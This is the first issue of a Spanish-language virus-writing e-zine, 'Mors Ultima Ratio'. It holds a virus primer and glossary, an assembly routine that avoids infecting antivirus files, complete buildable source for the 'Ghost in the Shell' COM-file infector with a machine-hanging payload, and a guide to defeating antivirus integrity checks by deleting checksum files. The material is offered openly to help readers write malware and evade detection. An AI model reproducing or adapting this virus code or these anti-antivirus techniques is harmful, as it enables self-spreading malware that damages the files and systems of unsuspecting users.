M O R S U L T I M A R A T I O ²± ²± ²²± ( MUR ) ²²²²²²± ²±²± ²± ²± ²± ²²²²²²± ²± ²± ²± ²²²²²± Editorial Bueno se¤ores, aqu¡ est  la primera. No est  bien claro que pretende ser ‚sta publicaci¢n, y ha tenido grades problemas desde su inicio. No pretendemos ser una referencia ni un imitador -mucho menos competidor- de grandes publicaciones sobre v¡rus como Minotauro o 40Hex. Simplemente queremos compartir con ustedes nuestros modestos conocimientos y hablar un poco de ‚ste peque¤o hobby nuestro que son los virus ;). énicamente nos comprometemos a no ofender a nadie -en la medida de lo posible O:) - y ofrecer lo que nos apetezca para todo aquel que quiera pasar un rato entretenido y de paso aprender algo. Si no les gusta la revista simplemente la borran de su disco y en paz, nosotros tan amigos :D. Los apartados de la revista son un poco borrador de lo que pretendemos ofrecer en cada n£mero que ir  apareciendo como tan buenamente se pueda, que normalmente ser  a principios de Julio. Todo puede modificarse y cambiar con nuevas ideas que ustedes si quieren -y nosotros queremos hacerles caso- nos puede enviar uno de los e-mail que aparecen donde encontraron la revista que est‚n relacionados con hk. Bueno, a ver que pasa. Espero que de haber una pr¢xima editorial no me toque escribirla a mi... ;) ----------------------------------------------------------------------------- Öndice de MUR n£mero 1. Editorial ................................... "EL principio" Informe ................................. "¨Qu‚ es un virus?" Informe .................................. "T‚rminos comunes" Rutinas .................................. "Comparar cadenas" An lisis ............................... "Ghost in the Shell" Anti-virus ....................... "Archivos de verificaci¢n" ----------------------------------------------------------------------------- ¨Qu‚ es un virus? No ser¡a correcto comenzar una publicaci¢n que trate sobre la comida china sin delimitar claramente que es la comida china. Que mierda, ni siquiera me gusta la comida china. Un virus es simplemente un programa. Como tal, para funcionar, debe ejecutarse. Entonces... ¨qu‚ diferencia a un virus del Windows 95? Poca cosa. No. Fuera de tonterias. Un virus se diferencia de otros programas por llevar a cabo su actividad de una forma similar a los virus, llam‚moslos, biol¢gicos. Emplean a otros programas para distribuirse y llevar a cabo un objetivo, el payload, que puede ser desde machacar el disco duro a sacar un texto idiota por pantalla el dia de tu cumplea¤os. La acci¢n del virus se lleva a cabo normalmente de forma oculta (menos el payload, claro). sta definici¢n algo macarr¢nica nos lleva a descartar a Windows 95, por ejemplo. De la misma manera un huevo de troyanos que hay por ah¡, y que son incluidos en los antivirus como virus en la mayor¡a de los casos, no deben ser considerados virus por no distribuirse. ¨Qu‚ como se distribuyen? Pues muy sencillo, o muy complicado. Los hay que infectan los boot de disquettes y/o discos duros, los hay que infectan archivos,... en todos los casos, sitios donde se puede encontrar c¢digo ejecutable, recuerden la definici¢n... es un programa que debe ejecutarse. Un fichero de texto como el que estan leyendo no valdr¡a porque no podee c¢digo ejecutable. La idea b sica es muy sencilla. Tomen como ejemplo un virus de archivo. El virus debe encontrar un archivo que se ajuste a sus necesidades. Una vez encontrado el archivo adecuado se debe a¤adir el virus al archivo y modificarlo para que en lugar de ejecutarse normalmente, se ejecute primero al virus y luego el archivo. Ya est . Veamos un dibujito: Antes de la infecci¢n ------- ---------------------------------- | Virus | | Archivo Ejecutable Adecuado (AEA)| ------- ---------------------------------- Despues de la infecci¢n ---------------- -> | | AEA | Virus | | ---------------- modificaci¢n para ejecutar el virus antes ste ser¡a el esquema cl sico de una infecci¢n de un archivo .COM, por ejemplo. Todo el proceso debe hacerse de una forma invisible al usuario, para que no advierta lo que est  pasando -je-. Distintos elementos con c¢digo ejecutable requieren de procesos diferentes. No es igual la infecci¢n de un sector de arranque de un disco duro que la infecci¢n de un fichero word (que posee c¢digo ejecutable en formato word basic). Podemos distinguir, m s o menos y perdonen los puristas, entre estas categor¡as de infecci¢n (no tipos, ojo): a. Boot, TP \____ plataforma equivalente b. EXE, COM, SYS, ... / c. otros: EXE para Windows, Excel, Word, Vxd, DLL, ... Los grupos a y b se basan en conceptos muy parecidos y son los virus de siempre, que funcionan en entornos MS/DOS. El resto ya requieren unos conocimientos concretos cada uno sobre su entorno y funcionamiento, aunque las similitudes sea en algunos casos significativas como en Excel y Word. Esta mierda de distinci¢n se debe a que en MS/DOS hay m s cosas infectables de forma similar, hoy por hoy. Quiz s con el tiempo infectar un Vxd sea tan trivial como hoy es infectar un Com, pero por ahora... Las caracter¡sticas de los virus van enfocadas a: a. ocultamiento ante el usuario b. ocultamiento ante anti-virus, tecnicas contra ellos c. efectos de activaci¢n Las del grupo a son las m s claras, y pasan por que el virus tenga un tama¤o muy reducido para pasar desapercibido, a tecnicas complejas como el dir stealth, que permite que el usuario no aprecie al aumento de tama¤o de los archivos infectados. Las del grupo b son quiz s menos claras, pero tienen sentido. El anti-virus (av a partir de ahora), es el peor enemigo del virus. A veces hasta un cutre av puede traernos problemas. Una vez me di un susto de muerte cuando provando como un virus que estaba escribiendo evad¡a los flags heur¡sticos del tbav, me detect¢ al jodido virus garfio residente en memoria. ¨Comorrrrr? El mierda del av me hab¡a confundido el virus con el garfio y lo cachondo es que el virus que estaba haciendo ni siquiera era residente... estas cosas pueden pasar, y ser¡a una lastima que un virus que nos hayamos currado que te cagas no tenga futuro porque un av despistado lo detecta como el viergn de calatayud (por decir algo). Pero no nos vayamos m s por las ramas. Hay que protegerse de los ataques directos, como los ficheros de verificaci¢n de integridad o las b£squedas heur¡sticas. Osea, que para hacer un buen virus, aj‚nciense un buen av (o uno que crean que es bueno) y prueben su virus con ‚l hasta que se lo pasen por el forro de los cojones. Las del grupo c, bueno... testeen una fecha o lleven cuenta de las infecciones y todos contentos. Para qu‚ co¤o activaci¢nes de esas que no entiendes ni en que cojones... si tienen una vena artista, pinten cuadros o hagan la rutina de activaci¢n m s compleja de la historia, pero a mi... como si se cortan la vena. Y esto es todo. Espero que tengan una idea global de lo que es un virus, o al menos lo que nosotros consideramos un virus. Es posible que si no tienen ni idea se hallan perdido un poco con algunos t‚rminos, pero para eso est  lo que sigue. Que se lo pasen bi‚n. ----------------------------------------------------------------------------- T‚rminos Comunes Aqu¡ van algunas cosillas que se deben saber si se quiere entender la programaci¢n de virus. No est n todos los que son, pero... Ojo que el parecido con la Minotauro es casual. Ellos hablan un argentino muy mol¢n y nosotros no. [Payload, Activaci¢n]: Es la forma que tiene el virus de darse a conocer abiertamente. Puede ser desde un mensaje en pantalla hasta la destrucci¢n de datos. Se debe dar bajo unas condiciones concretas: hora del sistema, fecha, n£mero de infecciones, pulsaci¢n de una tecla, ... [Anti-heur¡stica]: T‚cnicas dirigidas a impedir que un antivirus (av) detecte nuestro virus mediante la b£squeda de c¢digo caracter¡stico de los virus, por ejemplo: las rutinas de residencia. [Anti-debugging]: T‚cnicas dirigidas a impedir que el c¢digo de nuestro virus sea ejecutado por pasos. Los que hacen los av ejecutan los virus de forma controlada para as¡ descubrir su funcionamiento y hacer una an lisis para dise¤ar una vacuna. [Boot sector]: Sector de arranque de los discos ubicado en el primer sector. Contiene datos sobre el tipo de disco y un peque¤o c¢digo para arrancar el sistema. El disco duro tambi‚n tiene la tabla de particiones. [CMOS]: Metal ¢xido semi... no se qu‚... una memoria que se mantiene cuando el ordenador se apaga. Contiene informaci¢n sobre la configuraci¢n: que disco arranca primero, las tipos de unidades de discos, la hora del sistema, ... [Debugger]: Un programa para ejecutar programas de forma controlada. Permite entre otras cosas ejecutar instrucci¢n a instrucci¢n y poner puntos para que el programa ejecutado se detenga. [Desensamblador]: Un programa que transforma c¢digo ejecutable en c¢digo fuente. Es interesante desensamblar ciertas partes de los av para as¡ poder joderlos mejor al entender como funcionan ;) . [Virus]: No se, no se... Lean el art¡culo de m s arriba. [Hoste, Portador]: Programa infectado. Programa portador del virus. [Header]: Cabeza o cabecera. En un Exe se refiere, por ejemplo, a los 512 bytes que hay a su comienzo y que dan informaci¢n relativa del archivo: memoria a utilizar, tama¤o del archivo, tipo de Exe, ... [Infector]: El virus. [Interrupci¢n, int]: Los computadores funcionan as¡. El hardware interrumpe todo para saltar a un c¢digo que le indica la tabla de interrupciones (en la posici¢n 0000:0000). Cuando la interrupci¢n termina todo se reanuda como si nada hubiera pasado. Hay interrupciones del la Bios (que son cargadas al arrancar el equipo) y las del sistema operativo, que son cargadas al instalarse el operativo en memoria. [Run-time Infector]: Un virus que infecta al ser ejecutado el programa que lo contiene. [Resident Infector]: Un virus que se queda residente en memoria y que ejerce su acci¢n desde all¡ a trav‚s de una interrupcci¢n. [Hookear,Parchear]: Modificar o sustituir una interrupcci¢n leg¡tima por c¢digo del virus. [Stealth]: T‚cnicas de ocultamiento. Las hay de muchos tipos y suelen llamarse 'xxxxx stealth', como dir stealth o error stealth. [Polimorfismo]: T‚cnicas orientadas a que el virus cambie y sea distinto en cada infecci¢n, y as¡ m s dif¡cil de detectar por el m‚todo de la b£squeda de cadenas. [B£squeda de cadenas,strings]: M‚todo por el cual la mayor¡a de los virus son detectados por los av. Se basan en la b£squeda dentro de los ficheros de trozos caracter¡sticos de un virus concreto. Antes de este paso se suele pasar por un debbuging y un desensamblado. [Encriptado]: T‚cnicas para codificar el cuerpo del virus y que sea as¡ ilegible hasta el momento de ser ejecutado ya que entonces debe ser desencriptado. [SFT, System File Table]: Una tabla que crea el Dos para cada archivo abierto. Contiene informaci¢n sobre el archivo. [Troyano]: Un programa, generalmente destructivo, que se hace pasar por otro leg¡timo para llevar a cabo sus prop¢sitos. No se distribuyen, es decir, no son virus. [Tunneling]: T‚cnica que consiste en encontrar la interrupci¢n original pasando por encima de otros programas que la hayan parcheado. Es una forma del dejar fuera de juego a los av residentes que monitorean las int. [MCB]: Una tabla que controla la asignaci¢n de la memoria por parte del Dos. Trasteando esta tabla podemos dejar un programa residente sin que nadie se entere. [In the wild]: Cuando un virus es vigente en la calle, es decir, ‚sta m s o menos extendido. Con ‚sto basta. Algunas cosas deber¡a saberlas ya si tiene algo de idea de lo que es un ordenador. Con que estos nombres le suenen, sobra. ----------------------------------------------------------------------------- Rutinas: Comparar cadenas. Hey. Vamos a imaginarnos una situaci¢n. Te tiras una semana dale que te pego con un virus que, la verdad, te est  quedando bi‚n. Tienes grandes esperanzas puestas en ‚l. Es la ni¤a de tus sue¤os. "Llegar  lejos" piensas. Pero... oh! Dios mio, NO! El usuario tira a pasar su Panda av por un disco que le han dejado con unos programitas y alguna foto guarra y su av pita diciendo que ha sido modificado. Joder, que putada. Es algo que puede pasar. Y dada la idea que tienen algunos usuarios de los virus, es raro el individuo que no tiene un av en casa y lo pasa m s o menos frecuentemente. Nuestro virus, completamente inocente, identifica el av como un fichero Exe, y como adem s esos son los ficheros que infecta, toma cagada. El av lo primero que hace es verificar su integridad y como ya no es ¡ntegro (gracias a nuestro virus), pita y el usuario se percata de que tiene un virus dando saltos por su disco duro. sto se puede evitar, y se debe evitar. Hay stealth de todo tipo y algunos son muy efectivos a ‚ste respecto, como desinfectar al abrir el archivo e infectar al cerrar. Cuando el av se abre a si mismo para comprobar si todo va bi‚n, el virus ya no est  y no pita. Cuando se cierra se le vuelve a infectar y en paz. Sin embargo la rutina que presentamos hoy, sin ser la mejor, nos da otra opci¢n para que nuestro virus no caiga en error de infectar un av. La rutina en si es sencilla y lo £nico que hace es comparar dos cadenas, y si coinciden, estamos a punto de infectar un av. Algunos av, como en ThunderByte av (tbav), comienzan todos sus archivos por TB (tbclean, tbutils, tbav, tbscan, ...), con lo que no infectamos ning£n archivo cuyo nombre comienza por 'TB' y asunto arreglado. Aqu¡ hay algunas cadenas interesantes para comprobar: 'TB' ------> ThunderByte av 'PAVCL' ---> Panda av 'MSAV' ----> MicroSoft av 'SCAN' ----> Scan de McAfee 'F-' ------> Fridrik Skulason's F-Prot Y la rutina que proponemos es tal que: checkIfAv: push si di ax searchloop: cmp byte ptr es:[di],00h ; final de cadena file? je noAv cmp byte ptr cs:[si],00h ; final de cadena av? je IsAv mov al,byte ptr cs:[si] cmp al,byte ptr es:[di] ; igual av a file? jne noAv inc si inc di jmp searchloop IsAv: stc jmp outIsAv noAv: clc outIsAv: pop ax di si ret La rutina compara la cadena pasada en es:[di] con la cadena en cs:[si], ambas acabadas en 0. Si la cadena de es:[di] (llamada file) es igual que la cadena cs:[si] (av) el carry flag se enciende. Notar que la cadena llamada av debe ser como mucho de 13 caracteres y con la forma: 'NOMBRE .EXT',0 -> 8 char nombre - punto - 3 char extension ya que la cadena es:[di] tendr  por cojones esa forma con espacios en blanco para completar en nombres inferiores a los 8 caracteres o con extensiones infecriores a los 3 caracteres. Si es menor, solo se compar n los caracteres que tengamos. Un ejemplo de llamada a la rutina podr¡a ser: ; datos cadenaAv db 'SCAN',0 ; suponemos que en es:[di] est  el nombre en ASCIIZ del fichero ; a infectar y que es 'SCANVIR .EXE',0 lea si,cadenaAv call checkIfAv jc noInfectar ; ... infeccion ... noInfectar: ; ... sigue el c¢digo ... Si el archivo a infectar se llama 'SCAN****.***', siendo * comodines, el archivo no ser  infectado, como ocurre en este caso. Bueno, la proxima vez veremos otra rutina interesante para aplicar a nuestros virus. Es posible que se les ocurra una rutina mejor. Int‚ntenlo. Mientras tanto me despido hasta la pr¢xima. Bye! ----------------------------------------------------------------------------- An lisis: Ghost in the Shell La idea de ‚sta secci¢n era analizar virus que ustedes pudieran encontrar in the wild. Incluso se lleg¢ a desensablar y analizar el virus Whisper, pero hemos creido conveniente comenzar analizando un virus de archivo Com muy sencillo, para abrir boca. La eleci¢n final ha sido el Gits, un virus de un ex-hk, que ahora que no est  entre nosotros podemos descuartizar sin pelos en la lengua. La verdad es que gits fue un paso previo a otros virus m s complejos y nunca llego a estar in the wild. Nuestro ex-compa¤ero era partidario de comenzar cada virus desde cero para posteriormente aumentar su complegidad. Gits es un run-time infector de ficheros Com sin ning£n tipo de Stealth. Infecta atrav‚s de las funciones find first y find next del Dos, por lo que guarda el DTA del portador y luego la restaura antes de devolverle el control. sto lo hace porque las funciones ffist y fnext emplean el DTA para devolver los resultados de la b£squeda. En ese caso el DTA del host se ve modificado y eso conlleva errores en su ejecuci¢n al pasarle el control. La estructura de Gits es muy sencilla y no emplea b£squedas transversales ni historias complicadas. Se limita al directorio donde es ejecutado, con lo que abandonar ese directorio y seguir infectando el sistema es muy dif¡cil, por no decir imposible. Ah¡ va el c¢digo: --- cortar aqu¡ --- ; ; ; ghost in the shell v1.0 b ; ; no residente. ; ; infecta todos los ficheros COM menores de 64000 bytes ; que se encuentren en el directorio actual hasta que se acaben ; o encuentre un fichero infectado. ; ; marca de infeccion '@'. ; gits segment byte public assume cs: gits, ds:gits org 0h inicio label byte tam equ final-inicio ; tama¤o del virus ; £til para infectar push cs ; ds=es=cs pop ds push cs pop es call delta ; calculamos el desplaza- delta proc near ; miento de las variables delta endp pop bp ; almacenandolo en bp sub bp,offset delta jmp salta_dat ;datos mensaje: db 0dh,0ah,'ghost in the shell' db 0dh,0ah,'hail and kill 97',0dh,0ah,'$' guar_DTA db 1eh+13 dup (0) cabeza_n db 0e9h,?,?,'@' ; nuevo header cabeza_v db 0cdh,20h,90h,'@' ; header antiguo busca db '*.C?M',0 ; mascara para ffirst contador db 0 ; contador de infecciones salta_dat: lea si,bp + cabeza_v ; restauramos el header push 100h ; al portador lo primero pop di ; de todo para cuando movsw ; acabemos de infectar movsw ; le devolvamos el control mov al,byte ptr cs:[contador + bp] cmp al,25 ; si hay + de 25 infecciones jna continuar ; payload lea dx,mensaje+bp ; un mensaje mov ah,09h int 21h infinito: jmp infinito ; bloqueo, mierda payload continuar: mov cx,1eh+13 ; guarda DTA del fichero lea di,bp + guar_DTA ; portador por lo que mov si,80h ; ya hemos comentado rep movsb mov ah,4eh ; buscamos un *.c?m mov cx,0 ; lo que puede joder lea dx,bp + busca ; ficheros *.cim, *.cam, ... int 21h ; pero el tbav no pita jz cagada2 ; si no hay, salimos sigue: mov ah,3dh ; abrimos el fichero mov al,2h ; encontrado r/w mov dx,9eh ; nombre en cs:[9eh] int 21h jz cagada2 mov bx,ax ; pasamos el manejador ; del fichero a bx mov ah,3fh ; leemos header (4 bytes) mov cx,4h lea dx,bp + cabeza_v int 21h mov al,byte ptr cs:[cabeza_v + 3 +bp] cmp al,'@' ; esta infectado ? je cagada ; si lo esta, salimos mov ah,42h ; vamos al princio del mov al,0 ; archivo mov cx,0 mov dx,0 int 21h mov cx,2h ; calculamos el jmp mov si,9ah lea di,cabeza_n + bp +1 rep movsb inc word ptr cs:[cabeza_n + bp +1] mov ax,word ptr cs:[cabeza_n + bp + 1] cmp ax,64000 ; miramos tama¤o < 64000 ja cagada ; sino salimos mov ah,40h ; escribimos header midificado mov cx,4h ; 4 bytes lea dx,cabeza_n + bp int 21h mov ah,42h ; vamos al final del mov al,2h ; archivo mov cx,0 mov dx,0 int 21h mov ah,40h ; copiamos virus mov cx,tam lea dx,inicio + bp int 21h inc byte ptr cs:[contador + bp] ; una infeccion mas mov ah,3eh ; cierra fichero antes int 21h ; de buscar otro mov ah,4fh ; busca otro *.c?m int 21h jz cagada2 ; no hay: salimos jmp sigue ; repetimos: abrir,comprobar,... cagada: mov ah,3eh ; cerramos fichero int 21h cagada2: mov cx,1eh+13 ; restauramos dta del lea si,bp + guar_DTA ; portador para mov di,80h ; evitar errores rep movsb push 100h ; devolvemos el control pop ax ; al portador jmp ax final label byte gits ends end inicio --- cotar aqu¡ --- Para ensamblarlo: tasm /m virus.asm tlink virus.obj exe2bin virus.exe virus.com del virus.exe Hay algunas cosas que se podr¡an haber mejorado. La idea de buscar archivos *.C?M es buena, pero ser¡a mejor guardar en el archivo al infectar '* COM' y a¤adir el punto cuando nos haga falta buscar ficheros Com. Luego quitamos el punto y ponemos el espacio cuando grabemos el virus y ya est . El tbav no pita y evitamos ser descubiertos por infectar ficheros que no son Com. Tampoco se comprueba que el Com sea un Com. Podr¡a ser un archivo de texto cualquiera y nuestro virus, tan feliz, lo infectar¡a como si nada. Una buena idea para evitar esto ser¡a comparar el primer byte con un jmp, como 0e9h, y as¡ tendr¡amos un alto grado de certeza de que es un Com. Faltar, faltan muchas cosas. Se hace necesario el stealth de los errores de disco, de atributos y la fecha y hora del archivo. Vamos, que el Gits es un virus a medio terminar. Quiz s al no tener nada interesante, el tbav s¢lo muestra el flag 'F', y no da aviso. Vamos, que no lo detecta. Pese a todo, el virus comprueba que los ficheros Com no sean mayores de 64000 bytes y s¢lo infecta una vez cada archivo (usando @ en el cuarto byte del archivo como marca de infecci¢n). Si a¤adimos lo que falta y ampliamos el rango de infecci¢n (ser¡a buena idea que adem s de infectar el directorio actual, buscara infectar alg£n archivo del directorio \DOS, que suele estar en la path), el virus podr¡a llegar a ser pasable. Aunque al limitarse a fichero Com lo tendr¡a muy dif¡cil para moverse a otro sistema (hoy en dia no se dirtribuyen ficheros Com en casi ning£n software). El pr¢ximo an lisis ser  de un infector residente, o quiz s un virus de boot, que pueden ser bastante sencillos en los dos casos. ----------------------------------------------------------------------------- Anti-virus: Archivos de Verificaci¢n Es, sin duda, uno de los medios m s eficaces por los cueles el usuario puede protegerse de nuestras nuevas creaciones. Y la verdad es que la t‚cnica es sencilla. El usuario pasa un programa para hacer verificaci¢n de sus archivos cuando sabe que est  libre de toda infecci¢n. El programa verificador lo £nico que hace es tomar los datos de cada archivo y hacer una copia de sus 'huellas dactilares'. Las huellas dactilares es la suma de todos los bytes del archivo, por ejemplo. Es pr cticamente imposible que dos archivos ejecutables tengan la misma suma (check sum). As¡ el programa verificador s¢lo tendr  que hacer la check sum otra vez y comprobar si los valores que obtiene son iguales a los que ten¡a guardados de la primera vez (que estaban sin virus). Ni que decir tiene que jode bastante que una empresa que desarrolla av gane dinero vendiendo esa mierda, ya que el programa es m s sencillo que un botijo. Yo no se hacer un botijo y un programa de verificaci¢n s¡. Los programas de verificaci¢n suelen almacenar los check sum en un archivo, normalmente siempre del mismo nombre, que est  en el directorio donde se encuentran los archivos a los que hace referencia. No vamos a explicar por qu‚ los av lo hacen as¡ (seg£n ellos hay un motivo). La soluci¢n que proponemos es muy simple: antes de infectar un nuevo archivo, borramos el archivo de check sum del directorio. Pero esto nos da dos problemas: el usuario, o incluso el av, pueden darse cuenta de la ausencia de los archivos check sum, y por otra parte, no podemos conocer los nombres de los check sum de todos los av (ni siquiera saber si el usuario ha decidido que tengan un nombre que no es el habitual). En fin, la primera parte tiene soluci¢n. Machacamos los x primeros bytes del archivo de verificaci¢n y punto. Normalmente suelen llevar un header y si lo destruimos el av no distinguir  el archivo como de verificaci¢n. Aunque la gran mayor¡a de av siguen pitando, por lo que no es buena para todos ‚sta t‚cnica. Quiz s la opci¢n original, la de borrar los archivos de verificaci¢n, no sea tan mala. A fin de cuentas el usuario (si llega a enterarse de algo) s¢lo sabr  que falta algun archivo de check sum que incluso puede haber borrado el mismo sin darse cuenta. El segundo caso es complejo pero tiene soluci¢n. Es una comprobaci¢n que s¢lo es recomendable para infectores residentes (por lo lenta que es). El virus residente £nicamente se instala en memoria si no est  ya residente y ese ser¡a el momento ideal para hacer la comprobaci¢n. Las siguientes veces que sean ejecutados archivos infectados no se instalaran en memoria y no har n la comprobaci¢n. La comprobaci¢n consiste en abrir todos los archivos del directorio (aunque primero deber¡amos ver cuantos hay, desistiendo si hay muchos) y buscar el nombre del archivo portador. Si aparece, guardaremos el nombre de ese archivo abierto y dejamos al virus residente. Ahora el virus en cada infecci¢n comprobar  si existe el supuesto archivo de check sum, y si existe lo borramos. Y as¡ nos aseguramos de borrar los check sum, independientemente del nombre que tengan. Aun la £ltima t‚cnica, que es bastante compleja, puede dar problemas borrando supuestos check sum que no lo sean (aunque ser¡a muy raro). Pero no cabe precuparse demasiado y s¢lo tener en cuenta a los av que hacen los archivos de verificaci¢n por defecto, sin pedir permiso. Muy pocos usuarios conocen ‚sta t‚cnica de protecci¢n y pocos que la conocen, la usan. As¡ que nuevamente son los av los que la joden. Bastar¡a con usar la t‚cnica de la busqueda del archivo de verificaci¢n o borrar los m s comunes como: 'anti-vir.dat' del tbav 'chklist.ms' del msav/mswav que los hacen por defecto (muchos usuarios ni saben que los hacen). Y hasta aqu¡ llego. La pr¢xima vez veremos otra t‚cnica de los av y como joderla en la medida de lo posible. -----------------------------------------------------------------------------